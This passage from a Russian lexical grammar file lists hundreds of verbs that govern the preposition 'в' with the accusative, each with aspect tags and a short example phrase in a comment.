переодеть в сухую одежду rus_verbs:припуститься{}, // припуститься в пляс rus_verbs:лопотать{}, // лопотать в микрофон rus_verbs:прогнусавить{}, // прогнусавить в микрофон rus_verbs:мочиться{}, // мочиться в штаны rus_verbs:загружать{}, // загружать в патронник rus_verbs:радировать{}, // радировать в центр rus_verbs:промотать{}, // промотать в конец rus_verbs:помчать{}, // помчать в школу rus_verbs:съезжать{}, // съезжать в кювет rus_verbs:завозить{}, // завозить в магазин rus_verbs:заявляться{}, // заявляться в школу rus_verbs:наглядеться{}, // наглядеться в зеркало rus_verbs:сворачиваться{}, // сворачиваться в клубочек rus_verbs:устремлять{}, // устремлять взор в будущее rus_verbs:забредать{}, // забредать в глухие уголки rus_verbs:перемотать{}, // перемотать в самое начало диалога rus_verbs:сморкаться{}, // сморкаться в носовой платочек rus_verbs:перетекать{}, // перетекать в другой сосуд rus_verbs:закачать{}, // закачать в шарик rus_verbs:запрятать{}, // запрятать в сейф rus_verbs:пинать{}, // пинать в живот rus_verbs:затрубить{}, // затрубить в горн rus_verbs:подглядывать{}, // подглядывать в замочную скважину инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш }, деепричастие:подсыпав{}, деепричастие:подсыпая{}, rus_verbs:засовывать{}, // засовывать в пенал rus_verbs:отрядить{}, // отрядить в командировку rus_verbs:справлять{}, // справлять в кусты rus_verbs:поторапливаться{}, // поторапливаться в самолет rus_verbs:скопировать{}, // скопировать в кэш rus_verbs:подливать{}, // подливать в огонь rus_verbs:запрячь{}, // запрячь в повозку rus_verbs:окраситься{}, // окраситься в пурпур rus_verbs:уколоть{}, // уколоть в шею rus_verbs:слететься{}, // слететься в гнездо rus_verbs:резаться{}, // резаться в карты rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш) деепричастие:задвигая{}, rus_verbs:доставляться{}, // доставляться в ресторан rus_verbs:поплевать{}, // поплевать в чашку rus_verbs:попереться{}, // попереться в магазин rus_verbs:хаживать{}, // хаживать в церковь rus_verbs:преображаться{}, // преображаться в королеву rus_verbs:организоваться{}, // организоваться в группу rus_verbs:ужалить{}, // ужалить в руку rus_verbs:протискиваться{}, // протискиваться в аудиторию rus_verbs:препроводить{}, // препроводить в закуток rus_verbs:разъезжаться{}, // разъезжаться в разные стороны rus_verbs:пропыхтеть{}, // пропыхтеть в трубку rus_verbs:уволочь{}, // уволочь в нору rus_verbs:отодвигаться{}, // отодвигаться в сторону rus_verbs:разливать{}, // разливать в стаканы rus_verbs:сбегаться{}, // сбегаться в актовый зал rus_verbs:наведаться{}, // наведаться в кладовку rus_verbs:перекочевать{}, // перекочевать в горы rus_verbs:прощебетать{}, // прощебетать в трубку rus_verbs:перекладывать{}, // перекладывать в другой карман rus_verbs:углубляться{}, // углубляться в теорию rus_verbs:переименовать{}, // переименовать в город rus_verbs:переметнуться{}, // переметнуться в лагерь противника rus_verbs:разносить{}, // разносить в щепки rus_verbs:осыпаться{}, // осыпаться в холода rus_verbs:попроситься{}, // попроситься в туалет rus_verbs:уязвить{}, // уязвить в сердце rus_verbs:перетащить{}, // перетащить в дом rus_verbs:закутаться{}, // закутаться в плед // rus_verbs:упаковать{}, // упаковать в бумагу инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость rus_verbs:хихикать{}, // хихикать в кулачок rus_verbs:объединить{}, // объединить в сеть инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию деепричастие:слетав{}, rus_verbs:заползти{}, // заползти в норку rus_verbs:перерасти{}, // перерасти в крупную аферу rus_verbs:списать{}, // списать в утиль rus_verbs:просачиваться{}, // просачиваться в бункер rus_verbs:пускаться{}, // пускаться в погоню rus_verbs:согревать{}, // согревать в мороз rus_verbs:наливаться{}, // наливаться в емкость rus_verbs:унестись{}, // унестись в небо rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф rus_verbs:сигануть{}, // сигануть в воду rus_verbs:окунуть{}, // окунуть в ледяную воду rus_verbs:просочиться{}, // просочиться в сапог rus_verbs:соваться{}, // соваться в толпу rus_verbs:протолкаться{}, // протолкаться в гардероб rus_verbs:заложить{}, // заложить в ломбард rus_verbs:перекатить{}, // перекатить в сарай rus_verbs:поставлять{}, // поставлять в Китай rus_verbs:залезать{}, // залезать в долги rus_verbs:отлучаться{}, // отлучаться в туалет rus_verbs:сбиваться{}, // сбиваться в кучу rus_verbs:зарыть{}, // зарыть в землю rus_verbs:засадить{}, // засадить в тело rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь rus_verbs:переставить{}, // переставить в шкаф rus_verbs:отчалить{}, // отчалить в плавание rus_verbs:набираться{}, // набираться в команду rus_verbs:лягнуть{}, // лягнуть в живот rus_verbs:притворить{}, // притворить в жизнь rus_verbs:проковылять{}, // проковылять в гардероб rus_verbs:прикатить{}, // прикатить в гараж rus_verbs:залететь{}, // залететь в окно rus_verbs:переделать{}, // переделать в мопед rus_verbs:протащить{}, // протащить в совет rus_verbs:обмакнуть{}, // обмакнуть в воду rus_verbs:отклоняться{}, // отклоняться в сторону rus_verbs:запихать{}, // запихать в пакет rus_verbs:избирать{}, // избирать в совет rus_verbs:загрузить{}, // загрузить в буфер rus_verbs:уплывать{}, // уплывать в Париж rus_verbs:забивать{}, // забивать в мерзлоту rus_verbs:потыкать{}, // потыкать в безжизненную тушу rus_verbs:съезжаться{}, // съезжаться в санаторий rus_verbs:залепить{}, // залепить в рыло rus_verbs:набиться{}, // набиться в карманы rus_verbs:уползти{}, // уползти в нору rus_verbs:упрятать{}, // упрятать в камеру rus_verbs:переместить{}, // переместить в камеру анабиоза rus_verbs:закрасться{}, // закрасться в душу rus_verbs:сместиться{}, // сместиться в инфракрасную область rus_verbs:запускать{}, // запускать в серию rus_verbs:потрусить{}, // потрусить в чащобу rus_verbs:забрасывать{}, // забрасывать в чистую воду rus_verbs:переселить{}, // переселить в отдаленную деревню rus_verbs:переезжать{}, // переезжать в новую квартиру rus_verbs:приподнимать{}, // приподнимать в воздух rus_verbs:добавиться{}, // добавиться в конец очереди rus_verbs:убыть{}, // убыть в часть rus_verbs:передвигать{}, // передвигать в соседнюю клетку rus_verbs:добавляться{}, // добавляться в очередь rus_verbs:дописать{}, // дописать в перечень rus_verbs:записываться{}, // записываться в кружок rus_verbs:продаться{}, // продаться в кредитное рабство rus_verbs:переписывать{}, // переписывать в тетрадку rus_verbs:заплыть{}, // заплыть в территориальные воды инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" }, rus_verbs:отбирать{}, // отбирать в гвардию rus_verbs:нашептывать{}, // нашептывать в микрофон rus_verbs:ковылять{}, // ковылять в стойло rus_verbs:прилетать{}, // прилетать в Париж rus_verbs:пролиться{}, // пролиться в канализацию rus_verbs:запищать{}, // запищать в микрофон rus_verbs:подвезти{}, // подвезти в больницу rus_verbs:припереться{}, // припереться в театр rus_verbs:утечь{}, // утечь в сеть rus_verbs:прорываться{}, // прорываться в буфет rus_verbs:увозить{}, // увозить в ремонт rus_verbs:съедать{}, // съедать в обед rus_verbs:просунуться{}, // просунуться в дверь rus_verbs:перенестись{}, // перенестись в прошлое rus_verbs:завезти{}, // завезти в магазин rus_verbs:проложить{}, // проложить в деревню rus_verbs:объединяться{}, // объединяться в профсоюз rus_verbs:развиться{}, // развиться в бабочку rus_verbs:засеменить{}, // засеменить в кабинку rus_verbs:скатываться{}, // скатываться в яму rus_verbs:завозиться{}, // завозиться в магазин rus_verbs:нанимать{}, // нанимать в рейс rus_verbs:поспеть{}, // поспеть в класс rus_verbs:кидаться{}, // кинаться в крайности rus_verbs:поспевать{}, // поспевать в оперу rus_verbs:обернуть{}, // обернуть в фольгу rus_verbs:обратиться{}, // обратиться в прокуратуру rus_verbs:истолковать{}, // истолковать в свою пользу rus_verbs:таращиться{}, // таращиться в дисплей rus_verbs:прыснуть{}, // прыснуть в кулачок rus_verbs:загнуть{}, // загнуть в другую сторону rus_verbs:раздать{}, // раздать в разные руки rus_verbs:назначить{}, // назначить в приемную комиссию rus_verbs:кидать{}, // кидать в кусты rus_verbs:увлекать{}, // увлекать в лес rus_verbs:переселиться{}, // переселиться в чужое тело rus_verbs:присылать{}, // присылать в город rus_verbs:уплыть{}, // уплыть в Европу rus_verbs:запричитать{}, // запричитать в полный голос rus_verbs:утащить{}, // утащить в логово rus_verbs:завернуться{}, // завернуться в плед rus_verbs:заносить{}, // заносить в блокнот rus_verbs:пятиться{}, // пятиться в дом rus_verbs:наведываться{}, // наведываться в больницу rus_verbs:нырять{}, // нырять в прорубь rus_verbs:зачастить{}, // зачастить в бар rus_verbs:назначаться{}, // назначается в комиссию rus_verbs:мотаться{}, // мотаться в областной центр rus_verbs:разыграть{}, // разыграть в карты rus_verbs:пропищать{}, // пропищать в микрофон rus_verbs:пихнуть{}, // пихнуть в бок rus_verbs:эмигрировать{}, // эмигрировать в Канаду rus_verbs:подключить{}, // подключить в сеть rus_verbs:упереть{}, // упереть в фундамент rus_verbs:уплатить{}, // уплатить в кассу rus_verbs:потащиться{}, // потащиться в медпункт rus_verbs:пригнать{}, // пригнать в стойло rus_verbs:оттеснить{}, // оттеснить в фойе rus_verbs:стучаться{}, // стучаться в ворота rus_verbs:перечислить{}, // перечислить в фонд rus_verbs:сомкнуть{}, // сомкнуть в круг rus_verbs:закачаться{}, // закачаться в резервуар rus_verbs:кольнуть{}, // кольнуть в бок rus_verbs:накрениться{}, // накрениться в сторону берега rus_verbs:подвинуться{}, // подвинуться в другую сторону rus_verbs:разнести{}, // разнести в клочья rus_verbs:отливать{}, // отливать в форму rus_verbs:подкинуть{}, // подкинуть в карман rus_verbs:уводить{}, // уводить в кабинет rus_verbs:ускакать{}, // ускакать в школу rus_verbs:ударять{}, // ударять в барабаны rus_verbs:даться{}, // даться в руки rus_verbs:поцеловаться{}, // поцеловаться в губы rus_verbs:посветить{}, // посветить в подвал rus_verbs:тыкать{}, // тыкать в арбуз rus_verbs:соединяться{}, // соединяться в кольцо rus_verbs:растянуть{}, // растянуть в тонкую ниточку rus_verbs:побросать{}, // побросать в пыль rus_verbs:стукнуться{}, // стукнуться в закрытую дверь rus_verbs:проигрывать{}, // проигрывать в теннис rus_verbs:дунуть{}, // дунуть в трубочку rus_verbs:улетать{}, // улетать в Париж rus_verbs:переводиться{}, // переводиться в филиал rus_verbs:окунуться{}, // окунуться в водоворот событий rus_verbs:попрятаться{}, // попрятаться в норы rus_verbs:перевезти{}, // перевезти в соседнюю палату rus_verbs:топать{}, // топать в школу rus_verbs:относить{}, // относить в помещение rus_verbs:укладывать{}, // укладывать в стопку rus_verbs:укатить{}, // укатил в турне rus_verbs:убирать{}, // убирать в сумку rus_verbs:помалкивать{}, // помалкивать в тряпочку rus_verbs:ронять{}, // ронять в грязь rus_verbs:глазеть{}, // глазеть в бинокль rus_verbs:преобразиться{}, // преобразиться в другого человека rus_verbs:запрыгнуть{}, // запрыгнуть в поезд rus_verbs:сгодиться{}, // сгодиться в суп rus_verbs:проползти{}, // проползти в нору rus_verbs:забираться{}, // забираться в коляску rus_verbs:сбежаться{}, // сбежались в класс rus_verbs:закатиться{}, // закатиться в угол rus_verbs:плевать{}, // плевать в душу rus_verbs:поиграть{}, // поиграть в демократию rus_verbs:кануть{}, // кануть в небытие rus_verbs:опаздывать{}, // опаздывать в школу rus_verbs:отползти{}, // отползти в сторону rus_verbs:стекаться{}, // стекаться в отстойник rus_verbs:запихнуть{}, // запихнуть в пакет rus_verbs:вышвырнуть{}, // вышвырнуть в коридор rus_verbs:связываться{}, // связываться в плотный узел rus_verbs:затолкать{}, // затолкать в ухо rus_verbs:скрутить{}, // скрутить в трубочку rus_verbs:сворачивать{}, // сворачивать в трубочку rus_verbs:сплестись{}, // сплестись в узел rus_verbs:заскочить{}, // заскочить в кабинет rus_verbs:проваливаться{}, // проваливаться в сон rus_verbs:уверовать{}, // уверовать в свою безнаказанность rus_verbs:переписать{}, // переписать в тетрадку rus_verbs:переноситься{}, // переноситься в мир фантазий rus_verbs:заводить{}, // заводить в помещение rus_verbs:сунуться{}, // сунуться в аудиторию rus_verbs:устраиваться{}, // устраиваться в автомастерскую rus_verbs:пропускать{}, // пропускать в зал инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш }, деепричастие:сбегая{}, деепричастие:сбегав{}, rus_verbs:прибегать{}, // прибегать в школу rus_verbs:съездить{}, // съездить в лес rus_verbs:захлопать{}, // захлопать в ладошки rus_verbs:опрокинуться{}, // опрокинуться в грязь инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш }, деепричастие:насыпая{}, деепричастие:насыпав{}, rus_verbs:употреблять{}, // употреблять в пищу rus_verbs:приводиться{}, // приводиться в действие rus_verbs:пристроить{}, // пристроить в надежные руки rus_verbs:юркнуть{}, // юркнуть в нору rus_verbs:объединиться{}, // объединиться в банду rus_verbs:сажать{}, // сажать в одиночку rus_verbs:соединить{}, // соединить в кольцо rus_verbs:забрести{}, // забрести в кафешку rus_verbs:свернуться{}, // свернуться в клубочек rus_verbs:пересесть{}, // пересесть в другой автобус rus_verbs:постучаться{}, // постучаться в дверцу rus_verbs:соединять{}, // соединять в кольцо rus_verbs:приволочь{}, // приволочь в коморку rus_verbs:смахивать{}, // смахивать в ящик стола rus_verbs:забежать{}, // забежать в помещение rus_verbs:целиться{}, // целиться в беглеца rus_verbs:прокрасться{}, // прокрасться в хранилище rus_verbs:заковылять{}, // заковылять в травтамологию rus_verbs:прискакать{}, // прискакать в стойло rus_verbs:колотить{}, // колотить в дверь rus_verbs:смотреться{}, // смотреться в зеркало rus_verbs:подложить{}, // подложить в салон rus_verbs:пущать{}, // пущать в королевские покои rus_verbs:согнуть{}, // согнуть в дугу rus_verbs:забарабанить{}, // забарабанить в дверь rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы rus_verbs:убраться{}, // убраться в специальную нишу rus_verbs:насмотреться{}, // насмотреться в зеркало rus_verbs:чмокнуть{}, // чмокнуть в щечку rus_verbs:усмехаться{}, // усмехаться в бороду rus_verbs:передвинуть{}, // передвинуть в конец очереди rus_verbs:допускаться{}, // допускаться в опочивальню rus_verbs:задвинуть{}, // задвинуть в дальний угол rus_verbs:отправлять{}, // отправлять в центр rus_verbs:сбрасывать{}, // сбрасывать в жерло rus_verbs:расстреливать{}, // расстреливать в момент обнаружения rus_verbs:заволочь{}, // заволочь в закуток rus_verbs:пролить{}, // пролить в воду rus_verbs:зарыться{}, // зарыться в сено rus_verbs:переливаться{}, // переливаться в емкость rus_verbs:затащить{}, // затащить в клуб rus_verbs:перебежать{}, // перебежать в лагерь врагов rus_verbs:одеть{}, // одеть в новое платье инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу деепричастие:задвигаясь{}, rus_verbs:клюнуть{}, // клюнуть в темечко rus_verbs:наливать{}, // наливать в кружку rus_verbs:пролезть{}, // пролезть в ушко rus_verbs:откладывать{}, // откладывать в ящик rus_verbs:протянуться{}, // протянуться в соседний дом rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь rus_verbs:устанавливать{}, // устанавливать в машину rus_verbs:употребляться{}, // употребляться в пищу rus_verbs:переключиться{}, // переключиться в реверсный режим rus_verbs:пискнуть{}, // пискнуть в микрофон rus_verbs:заявиться{}, // заявиться в класс rus_verbs:налиться{}, // налиться в стакан rus_verbs:заливать{}, // заливать в бак rus_verbs:ставиться{}, // ставиться в очередь инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны деепричастие:писаясь{}, rus_verbs:целоваться{}, // целоваться в губы rus_verbs:наносить{}, // наносить в область сердца rus_verbs:посмеяться{}, // посмеяться в кулачок rus_verbs:употребить{}, // употребить в пищу rus_verbs:прорваться{}, // прорваться в столовую rus_verbs:укладываться{}, // укладываться в ровные стопки rus_verbs:пробиться{}, // пробиться в финал rus_verbs:забить{}, // забить в землю rus_verbs:переложить{}, // переложить в другой карман rus_verbs:опускать{}, // опускать в свежевырытую могилу rus_verbs:поторопиться{}, // поторопиться в школу rus_verbs:сдвинуться{}, // сдвинуться в сторону rus_verbs:капать{}, // капать в смесь rus_verbs:погружаться{}, // погружаться во тьму rus_verbs:направлять{}, // направлять в кабинку rus_verbs:погрузить{}, // погрузить во тьму rus_verbs:примчаться{}, // примчаться в школу rus_verbs:упираться{}, // упираться в дверь rus_verbs:удаляться{}, // удаляться в комнату совещаний rus_verbs:ткнуться{}, // ткнуться в окошко rus_verbs:убегать{}, // убегать в чащу rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру rus_verbs:наговорить{}, // наговорить в микрофон rus_verbs:переносить{}, // переносить в дом rus_verbs:прилечь{}, // прилечь в кроватку rus_verbs:поворачивать{}, // поворачивать в обратную сторону rus_verbs:проскочить{}, // проскочить в щель rus_verbs:совать{}, // совать в духовку rus_verbs:переодеться{}, // переодеться в чистую одежду rus_verbs:порвать{}, // порвать в лоскуты rus_verbs:завязать{}, // завязать в бараний рог rus_verbs:съехать{}, // съехать в кювет rus_verbs:литься{}, // литься в канистру rus_verbs:уклониться{}, // уклониться в левую сторону rus_verbs:смахнуть{}, // смахнуть в мусорное ведро rus_verbs:спускать{}, // спускать в шахту rus_verbs:плеснуть{}, // плеснуть в воду rus_verbs:подуть{}, // подуть в угольки rus_verbs:набирать{}, // набирать в команду rus_verbs:хлопать{}, // хлопать в ладошки rus_verbs:ранить{}, // ранить в самое сердце rus_verbs:посматривать{}, // посматривать в иллюминатор rus_verbs:превращать{}, // превращать воду в вино rus_verbs:толкать{}, // толкать в пучину rus_verbs:отбыть{}, // отбыть в расположение части rus_verbs:сгрести{}, // сгрести в карман rus_verbs:удрать{}, // удрать в тайгу rus_verbs:пристроиться{}, // пристроиться в хорошую фирму rus_verbs:сбиться{}, // сбиться в плотную группу rus_verbs:заключать{}, // заключать в объятия rus_verbs:отпускать{}, // отпускать в поход rus_verbs:устремить{}, // устремить взгляд в будущее rus_verbs:обронить{}, // обронить в траву rus_verbs:сливаться{}, // сливаться в речку rus_verbs:стекать{}, // стекать в канаву rus_verbs:свалить{}, // свалить в кучу rus_verbs:подтянуть{}, // подтянуть в кабину rus_verbs:скатиться{}, // скатиться в канаву rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь rus_verbs:заторопиться{}, // заторопиться в буфет rus_verbs:протиснуться{}, // протиснуться в центр толпы rus_verbs:прятать{}, // прятать в укромненькое местечко rus_verbs:пропеть{}, // пропеть в микрофон rus_verbs:углубиться{}, // углубиться в джунгли rus_verbs:сползти{}, // сползти в яму rus_verbs:записывать{}, // записывать в память rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР) rus_verbs:колотиться{}, // колотиться в дверь rus_verbs:просунуть{}, // просунуть в отверстие rus_verbs:провожать{}, // провожать в армию rus_verbs:катить{}, // катить в гараж rus_verbs:поражать{}, // поражать в самое сердце rus_verbs:отлететь{}, // отлететь в дальний угол rus_verbs:закинуть{}, // закинуть в речку rus_verbs:катиться{}, // катиться в пропасть rus_verbs:забросить{}, // забросить в дальний угол rus_verbs:отвезти{}, // отвезти в лагерь rus_verbs:втопить{}, // втопить педаль в пол rus_verbs:втапливать{}, // втапливать педать в пол rus_verbs:утопить{}, // утопить кнопку в панель rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?) rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег rus_verbs:поскакать{}, // поскакать в атаку rus_verbs:прицелиться{}, // прицелиться в бегущего зайца rus_verbs:прыгать{}, // прыгать в кровать rus_verbs:приглашать{}, // приглашать в дом rus_verbs:понестись{}, // понестись в ворота rus_verbs:заехать{}, // заехать в гаражный бокс rus_verbs:опускаться{}, // опускаться в бездну rus_verbs:переехать{}, // переехать в коттедж rus_verbs:поместить{}, // поместить в карантин rus_verbs:ползти{}, // ползти в нору rus_verbs:добавлять{}, // добавлять в корзину rus_verbs:уткнуться{}, // уткнуться в подушку rus_verbs:продавать{}, // продавать в рабство rus_verbs:спрятаться{}, // Белка спрячется в дупло. rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию rus_verbs:воткнуть{}, // воткни вилку в розетку rus_verbs:нести{}, // нести в больницу rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку rus_verbs:впаивать{}, // впаивать деталь в плату rus_verbs:впаиваться{}, // деталь впаивается в плату rus_verbs:впархивать{}, // впархивать в помещение rus_verbs:впаять{}, // впаять деталь в плату rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат rus_verbs:вперивать{}, // вперивать взгляд в экран rus_verbs:впериваться{}, // впериваться в экран rus_verbs:вперить{}, // вперить взгляд в экран rus_verbs:впериться{}, // впериться в экран rus_verbs:вперять{}, // вперять взгляд в экран rus_verbs:вперяться{}, // вперяться в экран rus_verbs:впечатать{}, // впечатать текст в первую главу rus_verbs:впечататься{}, // впечататься в стену rus_verbs:впечатывать{}, // впечатывать текст в первую главу rus_verbs:впечатываться{}, // впечатываться в стену rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами rus_verbs:впитаться{}, // Жидкость впиталась в ткань rus_verbs:впитываться{}, // Жидкость впитывается в ткань rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник rus_verbs:вплавиться{}, // Провод вплавился в плату rus_verbs:вплеснуть{}, // вплеснуть краситель в бак rus_verbs:вплести{}, // вплести ленту в волосы rus_verbs:вплестись{}, // вплестись в волосы rus_verbs:вплетать{}, // вплетать ленты в волосы rus_verbs:вплывать{}, // корабль вплывает в порт rus_verbs:вплыть{}, // яхта вплыла в бухту rus_verbs:вползать{}, // дракон вползает в пещеру rus_verbs:вползти{}, // дракон вполз в свою пещеру rus_verbs:впорхнуть{}, // бабочка впорхнула в окно rus_verbs:впрессовать{}, // впрессовать деталь в плиту rus_verbs:впрессоваться{}, // впрессоваться в плиту rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту rus_verbs:впрессовываться{}, // впрессовываться в плиту rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания rus_verbs:впрягать{}, // впрягать лошадь в телегу rus_verbs:впрягаться{}, // впрягаться в работу rus_verbs:впрячь{}, // впрячь лошадь в телегу rus_verbs:впрячься{}, // впрячься в работу rus_verbs:впускать{}, // впускать посетителей в музей rus_verbs:впускаться{}, // впускаться в помещение rus_verbs:впустить{}, // впустить посетителей в музей rus_verbs:впутать{}, // впутать кого-то во что-то rus_verbs:впутаться{}, // впутаться во что-то rus_verbs:впутывать{}, // впутывать кого-то во что-то rus_verbs:впутываться{}, // впутываться во что-то rus_verbs:врабатываться{}, // врабатываться в режим rus_verbs:вработаться{}, // вработаться в режим rus_verbs:врастать{}, // врастать в кожу rus_verbs:врасти{}, // врасти в кожу инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь инфинитив:врезать{ вид:соверш }, глагол:врезать{ вид:несоверш }, глагол:врезать{ вид:соверш }, деепричастие:врезая{}, деепричастие:врезав{}, прилагательное:врезанный{}, инфинитив:врезаться{ вид:несоверш }, // врезаться в стену инфинитив:врезаться{ вид:соверш }, глагол:врезаться{ вид:несоверш }, деепричастие:врезаясь{}, деепричастие:врезавшись{}, rus_verbs:врубить{}, // врубить в нагрузку rus_verbs:врываться{}, // врываться в здание rus_verbs:закачивать{}, // Насос закачивает топливо в бак rus_verbs:ввезти{}, // Предприятие ввезло товар в страну rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу rus_verbs:ввивать{}, // Женщина ввивает полоску в косу rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека rus_verbs:вламываться{}, // Полиция вламывается в квартиру rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом rus_verbs:вовлечься{}, // вовлечься в занятие спортом rus_verbs:спуститься{}, // спуститься в подвал rus_verbs:спускаться{}, // спускаться в подвал rus_verbs:отправляться{}, // отправляться в дальнее плавание инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство инфинитив:эмитировать{ вид:несоверш }, глагол:эмитировать{ вид:соверш }, глагол:эмитировать{ вид:несоверш }, деепричастие:эмитируя{}, деепричастие:эмитировав{}, прилагательное:эмитировавший{ вид:несоверш }, // прилагательное:эмитировавший{ вид:соверш }, прилагательное:эмитирующий{}, прилагательное:эмитируемый{}, прилагательное:эмитированный{}, инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию инфинитив:этапировать{вид:соверш}, глагол:этапировать{вид:несоверш}, глагол:этапировать{вид:соверш}, деепричастие:этапируя{}, прилагательное:этапируемый{}, прилагательное:этапированный{}, rus_verbs:этапироваться{}, // Преступники этапируются в колонию rus_verbs:баллотироваться{}, // они баллотировались в жюри rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну rus_verbs:бросать{}, // Они бросали в фонтан медные монетки rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:бросить{}, // Он бросил в фонтан медную монетку rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя rus_verbs:буксировать{}, // Буксир буксирует танкер в порт rus_verbs:буксироваться{}, // Сухогруз буксируется в порт rus_verbs:вбегать{}, // Курьер вбегает в дверь rus_verbs:вбежать{}, // Курьер вбежал в дверь rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту rus_verbs:вбиваться{}, // Штырь вбивается в плиту rus_verbs:вбирать{}, // Вата вбирает в себя влагу rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру rus_verbs:вбросить{}, // Судья вбросил мяч в игру rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту rus_verbs:ввариваться{}, // Арматура вваривается в плиту rus_verbs:вварить{}, // Робот вварил арматурину в плиту rus_verbs:влезть{}, // Предприятие ввезло товар в страну rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача rus_verbs:вверяться{}, // Пациент вверяется в руки врача rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров rus_verbs:ввиваться{}, // полоска ввивается в косу rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров // rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон rus_verbs:ввязаться{}, // Разведрота ввязалась в бой rus_verbs:ввязываться{}, // Передовые части ввязываются в бой rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор rus_verbs:вгонять{}, 